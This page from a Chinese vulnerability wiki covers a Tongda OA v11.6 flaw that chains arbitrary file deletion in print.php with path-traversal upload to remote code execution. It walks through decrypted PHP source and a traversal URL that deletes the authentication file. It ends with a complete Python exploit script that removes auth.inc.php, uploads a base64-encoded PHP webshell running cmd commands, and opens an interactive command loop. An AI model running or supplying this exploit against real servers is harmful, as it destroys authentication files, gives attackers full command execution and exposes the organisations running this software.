黑客街 黑客街 黑客街 黑客街
  • 职业导航
    • CTF
    • 程序员
  • 黑客推荐
  • 漏洞平台
    • Src众测
    • 国内平台
    • 国外平台
    • 乌云镜像站
  • 安全街
    • 安全资讯
    • 安全峰会
    • 区块链安全
    • 安全团队
    • 交流社区
    • 安全博客
    • PC安全
    • 服务器安全
  • 安全在线
    • 安全思维脑图
    • 在线学习
    • CTF
    • 实战靶场
    • 教育培训
  • 安全感知
    • 威胁情报
    • 勒索病毒
    • 文件分析
    • 被黑统计
  • 黑客神器
    • 搜索引擎
    • 加解密
    • ip检测
    • 短信接码
    • 邮箱伪造
    • web漏洞检测
    • web查询
    • 指纹识别
    • 二进制
  • APT
    • 学习哟
    • 信息收集
    • 木马免杀
    • 流量代理
    • 横向渗透
    • 远程控制
  • 墙外翻
    • 搜索
    • 暗网
    • 影频
  • 黑客工具
    • 综合工具
    • 代理隧道
    • webshell管理
黑客街 黑客街
  • 首页
  • 漏洞库
  • 街头小贩
  • 安全聚合
  • 安全博客
  • 黑客小镇
    • 匿名代理追踪
    • 杀软对比查询
    • 匿名聊天室
    • 反弹shell
    • 密码查
  • 行业导航
    • 程序员导航
    • CTF导航
    • 安全书籍
    • 娱乐导航
    • 自定义导航
  • 更多
    • 商务合作
    • 关于本站
    • 我有好建议
    • 申请收录

漏洞库

OA
    万户
    • 万户OA download_old.jsp 任意文件下载漏洞
    • 万户OA download_ftp.jsp 任意文件下载漏洞
    • 万户OA fileUpload.controller 任意文件上传漏洞
    • 万户OA showResult.action 后台SQL注入漏洞
    • 万户OA downloadhttp.jsp 任意文件下载漏洞
    • 万户OA smartUpload.jsp 任意文件上传漏洞
    泛微
    • 泛微OA E-cology <= 9.0 WorkflowServiceXml RCE
    • 泛微OA DBconfigReader.jsp 数据库配置信息泄漏漏洞
    • 泛微OA E-Bridge saveYZJFile 任意文件读取漏洞
    • 泛微OA E-Cology BshServlet 远程代码执行漏洞 CNVD-2019-32204
    • 泛微OA WorkflowCenterTreeData SQL注入漏洞
    • 泛微OA weaver.common.Ctrl 任意文件上传漏洞
    • 泛微OA V9 uploadOperation.jsp 任意文件上传
    • 泛微OA sysinterfacecodeEdit.jsp 任意文件上传漏洞
    • 泛微OA V8 ln.FileDownload 任意文件读取漏洞
    • 泛微OA V8 getdata.jsp SQL注入漏洞
    • 泛微OA E-Weaver SignatureDownLoad 任意文件读取漏洞
    • 泛微OA E-Office UserSelect 未授权访问漏洞
    • 泛微OA E-Office UploadFile.php 任意文件上传漏洞 CNVD-2021-49104
    • 泛微OA E-Office officeserver.php 任意文件读取漏洞
    • 泛微OA E-Office mysql_config.ini 数据库信息泄漏漏洞
    • 泛微OA E-Office group_xml.php SQL注入漏洞
    • 泛微OA E-Cology users.data 敏感信息泄漏
    • 泛微OA E-Cology LoginSSO.jsp SQL注入漏洞 CNVD-2021-33202
    • 泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞
    • 泛微OA E-Cology getSqlData SQL注入漏洞
    通达
    • 通达OA 部分漏洞信息整合
    • 通达OA v2014 get_contactlist.php 敏感信息泄漏漏洞
    • 通达OA-v2017-action_upload.php-任意文件上传漏洞
    • 通达OA v2017 video_file.php 任意文件下载漏洞
    • 通达OA v11.2 upload.php 后台任意文件上传漏洞
    • 通达OA v11.5 login_code.php 任意用户登录
    • 通达OA v11.5-8 logincheck_code.php 登陆绕过漏洞
    • 通达OA v11.5 swfupload_new.php SQL注入漏洞
    • 通达OA v11.6 print.php 任意文件删除&RCE
    • 通达OA v11.6 report_bi.func.php SQL注入漏洞
    • 通达OA v11.7 auth_mobi.php 在线用户登录漏洞
    • 通达OA v11.7 delete_cascade.php 后台SQL注入
    • 通达OA v11.8 api.ali.php 任意文件上传漏洞
    • 通达OA v11.8 getway.php 远程文件包含漏洞
    • 通达OA v11.8 update.php 后台文件包含XSS漏洞
    • 通达OA v11.8 update.php 后台文件包含命令执行漏洞
    • 通达OA v11.9 upsharestatus 后台SQL注入漏洞
    致远
    • 致远OA A6 config.jsp 敏感信息泄漏漏洞
    • 致远OA A6 createMysql.jsp 数据库敏感信息泄露
    • 致远OA A6 DownExcelBeanServlet 用户敏感信息泄露
    • 致远OA A6 initDataAssess.jsp 用户敏感信息泄露
    • 致远OA A6 setextno.jsp SQL注入漏洞
    • 致远OA A6 test.jsp SQL注入漏洞
    • 致远OA A8 htmlofficeservlet 任意文件上传漏洞
    • 致远OA A8 status.jsp 信息泄露漏洞
    • 致远OA ajax.do 任意文件上传 CNVD-2021-01627
    • 致远OA ajax.do上传文件漏洞
    • 致远OA getSessionList.jsp Session泄漏漏洞
    • 致远OA webmail.do 任意文件下载 CNVD-2020-62422
    • 致远OA 前台getshell
    • 致远OA-漏洞小汇总
    • 致远OA 默认密码
    蓝凌
    • 蓝凌OA admin.do JNDI远程命令执行
    • 蓝凌OA custom.jsp 任意文件读取漏洞
    • 蓝凌OA EKP 后台SQL注入漏洞 CNVD-2021-01363
    • 蓝凌OA sysSearchMain.do 远程命令执行漏洞
    • 蓝凌OA treexml.tmpl 远程命令执行漏洞
网络设备漏洞
    D-Link
    • D-Link AC管理系统 默认账号密码
    • D-LINK DAP-2020 webproc 任意文件读取漏洞 CVE-2021-27250
    • D-Link DAR-8000 importhtml.php 远程命令执行漏洞
    • D-Link DCS系列监控 账号密码信息泄露漏洞 CVE-2020-25078
    • D-Link Dir-645 getcfg.php 账号密码泄露漏洞 CVE-2019-17506
    • D-Link DSL-28881A FTP配置错误 CVE-2020-24578
    • D-Link DSL-28881A 信息泄露 CVE-2020-24577
    • D-Link DSL-28881A 未授权访问 CVE-2020-24579
    • D-Link DSL-28881A 远程命令执行 CVE-2020-24581
    • D-Link DSR-250N 万能密码漏洞
    • D-Link ShareCenter DNS-320 system_mgr.cgi 远程命令执行漏洞
    • D-Link DSL-3782 Code execution(CVE-2018-8941)
    • D-Link rce CVE-2019-16920
    小米路由器
    • 小米 路由器 c_upload 远程命令执行漏洞 CVE-2019-18370
    • 小米 路由器 extdisks 任意文件读取漏洞 CVE-2019-18371
    锐捷
    • 锐捷 EG易网关 branch_passw.php 远程命令执行
    • 锐捷 EG易网关 cli.php 远程命令执行漏洞
    • 锐捷 EG易网关 download.php 任意文件读取漏洞
    • 锐捷 EG易网关 phpinfo.view.php 信息泄露漏洞
    • 锐捷 EG易网关 管理员账号密码泄露漏洞
    • 锐捷 ISG 账号密码泄露漏洞
    • 锐捷 NBR 1300G路由器 越权CLI命令执行漏洞
    • 锐捷e.web NBR路由器 远程命令执行漏洞 CNVD-2021-09650
    • 锐捷 RG-UAC 账号密码信息泄露 CNVD-2021-14536
    • 锐捷 Smartweb管理系统 密码信息泄露漏洞
    • 锐捷 SSL VPN 越权访问漏洞
    Tenda
    • Tenda W15E企业级路由器 RouterCfm.cfg 配置文件泄漏漏洞
    • Tenda 11N无线路由器 Cookie 越权访问漏洞
    • Tenda-AX1806路由器多处栈溢出
    • CVE-2018-18708:Tenda路由器缓冲区溢出
    TP-Link
    • TP-Link AC1750 预认证远程代码执行漏洞(CVE-2021-27246)
    • TP-Link TL-WR841N远程代码执行漏洞(CVE-2020-35576)
    • TP-Link WR2041 v1拒绝服务漏洞(CVE-2021-26827)
    • TP-link 栈溢出漏洞(CVE-2021-29302)
    HIKVISION
    • HIKVISION DS/IDS/IPC 等设备 远程命令执行漏洞 CVE-2021-36260
    • HIKVISION 流媒体管理服务器 user.xml 账号密码泄漏漏洞
    • HIKVISION 流媒体管理服务器 后台任意文件读取漏洞 CNVD-2021-14544
    • HIKVISION 视频编码设备接入网关 $DATA 任意文件读取
    • HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞
    • HIKVISION 联网网关 downdb.php 任意文件读取漏洞
    移动
    • 中国移动 禹路由 ExportSettings.sh 敏感信息泄露漏洞 CNVD-2020-67110
    • 中国移动 禹路由 simple-index.asp 越权访问漏洞 CNVD-2020-55983
    • 中国移动 HG6543C4
    电信
    • 电信 中兴ZXHN F450A网关 默认管理员账号密码漏洞
    • 电信 天翼网关F460 web_shell_cmd.gch 远程命令执行漏洞
    • 电信 网关配置管理系统 login.php SQL注入漏洞
    华为
    • HG659 lib 任意文件读取漏洞
    • DG8045 deviceinfo 信息泄漏漏洞
安全设备漏洞
    维盟
    • Wayos AC集中管理系统默认弱口令 CNVD-2021-00876
    • Wayos 防火墙 后台命令执行漏洞
    • Wayos 防火墙 账号密码泄露漏洞
    启明星辰
    • 启明星辰 天清汉马USG防火墙 逻辑缺陷漏洞
    • 启明星辰 天清汉马USG防火墙 默认口令漏洞
    • 天珣内网安全风险管理与审计系统V6.6.9.5 SQL注入漏洞
    • 天玥运维安全网关Sql注入漏洞
    奇安信
    • 网康 NS-ASG安全网关 cert_download.php 任意文件读取漏洞
    • 网康 下一代防火墙 router 远程命令执行漏洞
    • 网神 下一代极速防火墙 pki_file_download 任意文件读取漏洞
    • 天擎 - 2021年前版本 sql注入
    • 天擎 任意文件上传
    • 网康 (2014年)多个产品通杀漏洞
    深信服
    • 深信服上网行为管理系统多处漏洞(2013年)
    • 应用交付管理系统权限绕过(2012年)
    • SSL VPN Pre Auth 任意密码重置 (2020年)
    • 深信服 SSL VPN - Pre Auth 修改绑定手机 (2020年)
    • 深信服 SSL VPN 解密 (本地)
    • EDR远程命令执行 CNVD-2020-46552
    • 终端检测相应平台(EDR) 任意用户登陆漏洞
    • 终端检测相应平台(EDR) 任意命令执行漏洞(二)
    天融信
    • TopApp-LB enable_tool_debug.php 远程命令执行漏洞
    • opApp-LB 负载均衡系统Sql注入漏洞
    • OPAPP-LB 负载均衡命令执行
    • 数据防泄漏系统越权修改管理员密码
    安恒
    • 明御WEB应用防火墙 report.php 任意用户登录漏洞
    • 数据大脑 API 网关任意密码重置漏洞
    齐治堡垒机
    • (CNVD-2019-09593)齐治堡垒机 ShtermClient-2.1.1 命令执行漏洞
    • (CNVD-2019-17294)齐治堡垒机 后台命令执行漏洞
    • (CNVD-2019-20835)齐治堡垒机 前台远程命令执行漏洞
    • 任意用户登录漏洞 (2020)
    绿盟
    • UTS绕过登录
    • uts信息泄露
    • BAS日志数据安全性分析系统 accountmanage 未授权访问漏洞
    Teleport堡垒机
    • get-file 后台任意文件读取漏洞
    • do-login 任意用户登录漏洞
    H3C
    • IMC dynamiccontent.properties.xhtm 远程命令执行 CNVD-2021-39067
    • SecParh堡垒机 data_provider.php 远程命令执行漏洞
    • SecParh堡垒机 get_detail_view.php 任意用户登录漏洞
    金山
    • 金山 V8 终端安全系统 get_file_content.php 任意文件读取漏洞
    • 金山 V8 终端安全系统 downfile.php 任意文件读取漏洞
    • 金山 V8 终端安全系统 pdf_maker.php 命令执行漏洞
    中远麒麟
    • iAudit堡垒机 get_luser_by_sshport.php 远程命令执行漏洞
应用漏洞
    向日葵
    • 向日葵 check 远程命令执行漏洞 CNVD-2022-10270
    VMware
    • VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975
    • VMware vCenter vid 任意文件读取漏洞
    • VMware Workspace ONE Access SSTI漏洞 CVE-2022-22954
    • CVE-2021-21972 vCenter Serve 任意文件上传
    • CVE-2021-22005
    • CVE-2021-44228 log4j漏洞
    Chrome
    • Chrome 远程命令执行漏洞
    openssl
    • 心脏滴血漏洞 CVE-2014-0160
    OpenSSH
    • 命令注入漏洞 CVE-2020-15778

渗透测试

应急响应
    第三章 应急响应之实战分析
    • SSH暴力破解
    • (Linux)挖矿木马分析
    • (linux)记一次与挖矿木马的较量
    • (web)记一次Windows下的应急过程
    • (windows)记一次简单的应急响应-驱动人生
    第二章 应急响应之日志分析
    • 数据库日志分析
    • 中间件日志分析
    • 系统日志分析
    第一章. 应急之排查方法
    • Windows 排查方法
    • Linux下排查方法
社工钓鱼
  • 社会工程学攻击
  • 邮件模板
    • 邮件模板-升级办公OA
    • 邮件模板-处罚通知模板
    • 邮件模板-放假通知
    • 邮件模板-学校网络学习平台升级通知
    • 邮件模板-产品升级公告通知
    • 邮件模板-员工涨薪通知
    社会工程学攻击-简单钓鱼文件制作
    • 利用Cobalt strike发送钓鱼邮件
    • Word邮件与 CSV注入
    • 自解压捆绑文件钓鱼
    社工钓鱼案例整理
    • 案例1--警惕:最新钓鱼邮件案例分析
    • 案例2–蓝队视角下的“HVV利剑”-钓鱼攻击案例分享与总结
    • 案例3-X站钓鱼邮件应急响应案例分析
    • 案例4-某大型攻防演练中红队钓鱼邮件攻击手法复盘
    • 案例5-币安钓鱼案例参考
    • 案例6-使用新冠疫情发起钓鱼攻击的最新案例
    • 案例7-上海交通大学案例参考
    • 案例8-钓鱼邮件模板
    • 案例9-上海理工大学案例参考
    • 案例10-钓鱼邮件常见小技巧
Web常见漏洞
  • Web常见漏洞描述及修复建议
  • Web漏洞集
    • SQL注入漏洞基本原理
    • 任意文件下载
    • 敏感文件
    • 文件包含
    • 文件上传
    • 命令执行rce
    • 代码执行
    • XML外部实体注入
    • 逻辑漏洞
      • 验证码逻辑
      • 支付漏洞
      • 越权访问
      • 会话劫持
      • 会话重放漏洞
      • 会话固定
      • 任意用户密码重置
      未授权访问
      • 常见的未授权访问漏洞
      • Redis未授权访问
      • MongoDB 未授权访问
      • Memcached 未授权访问
      • Zookeeper未授权访问
      • Rsync 未授权访问漏洞
      • Docker未授权访问
      • Jenkins未授权访问
      • Hadoop 未授权访问
      • JBOSS未授权访问漏洞
      • Druid未授权访问
      信息泄露
      • 敏感信息泄漏
      • 备份文件泄露
      • .DS_Store源码泄露
      • CVS泄漏
      • .hg源码泄漏
      • .SVN源码泄露
      • .Git源码泄露
      浏览器域
      • 同源策略-Jsonp劫持-CORS跨域
      • XSS跨站
      • CSRF
      • SSRF
  • Home
  • 知识文库
  • 漏洞库
  • OA
  • 通达
  • 通达OA v11.6 print.php 任意文件删除&RCE

通达OA v11.6 print.php 任意文件删除&RCE

目录
  • 漏洞描述
  • 漏洞影响
  • 环境搭建
  • 漏洞复现
  • 漏洞POC

漏洞描述 #

通过任意文件漏洞删除上传点包含的身份验证文件,从而造成未授权访问实现任意文件上传

漏洞影响 #

通达OA v11.6

环境搭建 #

通达OA v11.6下载链接
https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe

下载完毕点击安装即可

漏洞复现 #

使用解密工具 SeayDzend(zend解密工具) 对通达OA的加密代码进行解密

解密工具已经放在目录下的POC目录中

解密完成后查看 webroot\general\data_center\utils\upload.php 文件

<?php

include_once "inc/auth.inc.php";
include_once "./utils.func.php";
$HTML_PAGE_TITLE = _("上传文件");
include_once "inc/header.inc.php";
$error = "";
$msg = "";

if ($action == "upload") {
    if ($filetype == "xls") {
        $uploaddir = MYOA_ATTACH_PATH . "/data_center/templates/";

        if (!is_dir(MYOA_ATTACH_PATH . "/data_center/templates")) {
            if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
                mkdir(MYOA_ATTACH_PATH . "/data_center");
            }

            mkdir(MYOA_ATTACH_PATH . "/data_center/templates");
        }

        if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $_FILES["FILE1"]["name"])) {
        }
    }
    else if ($filetype == "img") {
        $uploaddir = MYOA_ATTACH_PATH . "/data_center/images/";

        if (!is_dir(MYOA_ATTACH_PATH . "/data_center/images")) {
            if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
                mkdir(MYOA_ATTACH_PATH . "/data_center");
            }

            mkdir(MYOA_ATTACH_PATH . "/data_center/images");
        }

        $s_n = $_FILES["FILE1"]["name"];

        if ($s_n[0] != "{") {
            $p = strrpos($s_n, ".");
            $s_n = CreateId() . substr($s_n, $p);
        }

        if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
        }
    }
    else {
        $uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";

        if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) {
            if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
                mkdir(MYOA_ATTACH_PATH . "/data_center");
            }

            mkdir(MYOA_ATTACH_PATH . "/data_center/attachment");
        }

        if (isset($from_rep)) {
            if (($from_rep != "") && ($from_rep[0] == "{")) {
                $repkid = GetRepKIDBySendId($from_rep);

                if ($repkid != $to_rep) {
                    if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
                        copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
                    }
                }
            }
            else {
                $arr = explode(",", $from_rep);

                for ($i = 0; $i < count($arr); $i++) {
                    $p = strpos($arr[$i], ".");
                    $repno = substr($arr[$i], 0, $p);
                    $repkid = GetRepKIDByNo($repno);

                    if ($repkid != $to_rep) {
                        if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
                            copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
                            break;
                        }
                    }
                }
            }
        }
        else {
            $s_n = $_FILES["FILE1"]["name"];

            if ($s_n[0] != "{") {
                $s_n = $repkid . "_" . $s_n;
            }

            if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
            }
        }
    }

    @unlink($_FILES["FILE1"]);
}
else if ($action == "unupload") {
    if ($filetype == "xls") {
        $uploaddir = MYOA_ATTACH_PATH . "data_center/attachment/" . trim($filename) . ".xls";

        if (is_file($uploaddir)) {
            unlink($uploaddir);
        }
    }
    else if ($filetype == "img") {
        $uploaddir = MYOA_ATTACH_PATH . "data_center/images/" . trim($filename);

        if (is_file($uploaddir)) {
            unlink($uploaddir);
        }
    }
    else if ($filetype == "attach") {
        $uploaddir = MYOA_ATTACH_PATH . "data_center/attachment/" . trim($filename);

        if (is_file($uploaddir)) {
            unlink($uploaddir);
        }
    }
}

echo "{";
echo "new_name:'$s_n',\n";
echo "error: '" . $error . "',\n";
echo "msg: '" . $msg . "'\n";
echo "}";
echo "<body>\r\n</body>\r\n</html>";

?>

在第一行包含了文件 auth.inc.php

include_once "inc/auth.inc.php";

通达OA v11.6 print.php 任意文件删除&RCE

可以看到这个文件用于检验是否登录,未登录的情况无法利用这个漏洞

查看 \webroot\module\appbuilder\assets\print.php文件

通达OA v11.6 print.php 任意文件删除&RCE

 

<?php

$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
$s_tmp .= "/" . $_GET["guid"];

if (file_exists($s_tmp)) {
    $arr_data = unserialize(file_get_contents($s_tmp));
    unlink($s_tmp);
    $s_user = $arr_data["user"];
}
else {
    echo "未知参数";
    exit();
}

这里可以看到 页面获取 guid参数的值 使用file_exists函数判断文件是否存在 并未进行校验 就执行unlink删除文件

可以本地在 \webroot\inc 目录创建 1.txt 文件

然后访问 http://xxx.xxx.xxx.xxx/module/appbuilder/assets/print.php?guid=../../../webroot/inc/1.txt 就会删除这个 1.txt 文件,也代表可以删除 auth.inc.php 登录检验文件

回到 upload.php 文件进行代码审计

通达OA v11.6 print.php 任意文件删除&RCE

判断变量 $action 是否为 upload,再判断文件类型,如果不为 xls 和 img 则进入else分支

 

else {
        $uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";

        if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) {
            if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
                mkdir(MYOA_ATTACH_PATH . "/data_center");
            }

            mkdir(MYOA_ATTACH_PATH . "/data_center/attachment");
        }

        if (isset($from_rep)) {
            if (($from_rep != "") && ($from_rep[0] == "{")) {
                $repkid = GetRepKIDBySendId($from_rep);

                if ($repkid != $to_rep) {
                    if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
                        copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
                    }
                }
            }
            else {
                $arr = explode(",", $from_rep);

                for ($i = 0; $i < count($arr); $i++) {
                    $p = strpos($arr[$i], ".");
                    $repno = substr($arr[$i], 0, $p);
                    $repkid = GetRepKIDByNo($repno);

                    if ($repkid != $to_rep) {
                        if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
                            copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
                            break;
                        }
                    }
                }
            }
        }
        else {
            $s_n = $_FILES["FILE1"]["name"];

            if ($s_n[0] != "{") {
                $s_n = $repkid . "_" . $s_n;
            }

            if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
            }
        }
    }

    @unlink($_FILES["FILE1"]);
}

 

在这段代码中,如果不存在 $from_rep 变量则会跳到如下代码

else {
            $s_n = $_FILES["FILE1"]["name"];

            if ($s_n[0] != "{") {
                $s_n = $repkid . "_" . $s_n;
            }

            if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
            }
        }

这里直接将 $repkid 变量进行拼接,也就是说可以通过目录穿越来上传恶意文件到指定目录

这里需要利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来

使用POC来利用漏洞

通达OA v11.6 print.php 任意文件删除&RCE

注意在删除验证身份的文件后,会造成后台页面出现如下图,使用前备份文件

通达OA v11.6 print.php 任意文件删除&RCE

漏洞POC #

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech


import requests
import re
import base64
import sys


def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mVersion: 通达OA v11.6 任意文件删除&RCE                                \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                           \033[0m')
    print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx                                 \033[0m')
    print('+  \033[36mCmd    >>> whoami                                                 \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    check_url = target_url + "/module/appbuilder/assets/print.php"
    try:
        check_url_response  = requests.get(url = check_url)
        if check_url_response.status_code == 200:
            print("\033[32m[o] 存在 /module/appbuilder/assets/print.php 可能含有通达OA v11.6 任意文件删除&RCE漏洞\033[0m")
            input("\033[32m[o] 此漏洞会对真实环境造成影响,请在授权的情况下利用此漏洞,按下任意键继续..... \033[0m")
        else:
            print("\033[31m[x] 不存在 /module/appbuilder/assets/print.php 漏洞利用失败 \033[0m")
            sys.exit(0)
    except Exception as e:
            print("\033[31m[x] 请求失败,{} \033[0m".format(e))
            sys.exit(0)

def POC_2(target_url):
    unlink_url = target_url + "/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
    try:
        unlink_response = requests.get(url = unlink_url)
        if unlink_response.status_code == 200:
            print("\033[32m[o] 成功删除校验文件 auth.inc.php \033[0m")
        else:
            print("\033[31m[x] 删除校验文件 auth.inc.php 失败 \033[0m")
            sys.exit(0)
    except Exception as e:
            print("\033[31m[x] 请求失败,{} \033[0m".format(e))
            sys.exit(0)

def POC_3(target_url, payload_php):
    """
      (绕过的webshell)
      <?php
      $command=$_GET['test'];
      $wsh = new COM('WScript.shell');
      $exec = $wsh->exec("cmd /c ".$command);
      $stdout = $exec->StdOut();
      $stroutput = $stdout->ReadAll();
      echo $stroutput;
      ?>
    """
    vuln_url = target_url + "/general/data_center/utils/upload.php?action=upload&filetype=test&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('test.php', payload_php)}
    try:
        vuln_response = requests.post(url = vuln_url,files=files)
        if vuln_response.status_code == 200:
            print("\033[32m[o] 成功写入webshell文件: _test.php \033[0m")
            print("\033[32m[o] webshell地址为: {}/_test.php \033[0m".format(target_url))
        else:
            print("\033[31m[x] 写入webshell文件失败 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败,{} \033[0m".format(e))
        sys.exit(0)

def POC_4(target_url, cmd):
    cmd_url = target_url + "/_test.php?test={}".format(cmd)
    try:
        cmd_response = requests.get(url = cmd_url)
        if cmd_response.status_code == 200:
            print("\033[32m[o] 正在执行命令: {} \033[0m".format(cmd_url))
            print("\033[32m[o] 响应为: \n{} \033[0m".format(cmd_response.text))
        else:
            print("\033[31m[x] 命令执行失败 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败,{} \033[0m".format(e))
        sys.exit(0)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
    POC_1(target_url)
    POC_2(target_url)
    payload_php = base64.b64decode("PD9waHAKICAgICRjb21tYW5kPSRfR0VUWyd0ZXN0J107CiAgICAkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOwogICAgJGV4ZWMgPSAkd3NoLT5leGVjKCJjbWQgL2MgIi4kY29tbWFuZCk7CiAgICAkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOwogICAgJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKICAgIGVjaG8gJHN0cm91dHB1dDsKPz4=").decode("utf-8")
    POC_3(target_url, payload_php)

    while True:
        cmd = input("\033[35mCmd >>> \033[0m")
        if cmd == "exit":
            sys.exit(0)
        else:
            POC_4(target_url, cmd)

 

通达OA v11.6 print.php 任意文件删除&RCE

 

What are your Feelings
更新于 2022年10月1日
通达OA v11.5 swfupload_new.php SQL注入漏洞通达OA v11.6 report_bi.func.php SQL注入漏洞
目录
  • 漏洞描述
  • 漏洞影响
  • 环境搭建
  • 漏洞复现
  • 漏洞POC
黑客街 黑客街
黑客街导航站是一款努力把互联网安全站点集接到一起,希望为每个小伙伴提供良好的"安全"体验。

街头小贩 匿名追踪 杀软对比

黑客街公众号黑客街

黑客街公众号

我要合作黑客街

我要合作

关于我们 免责说明 商务合作

Copyright © 2022 黑客街   豫ICP备19005024号    站点地图

  
常用
搜索
工具
社区
生活
求职
    热门推荐: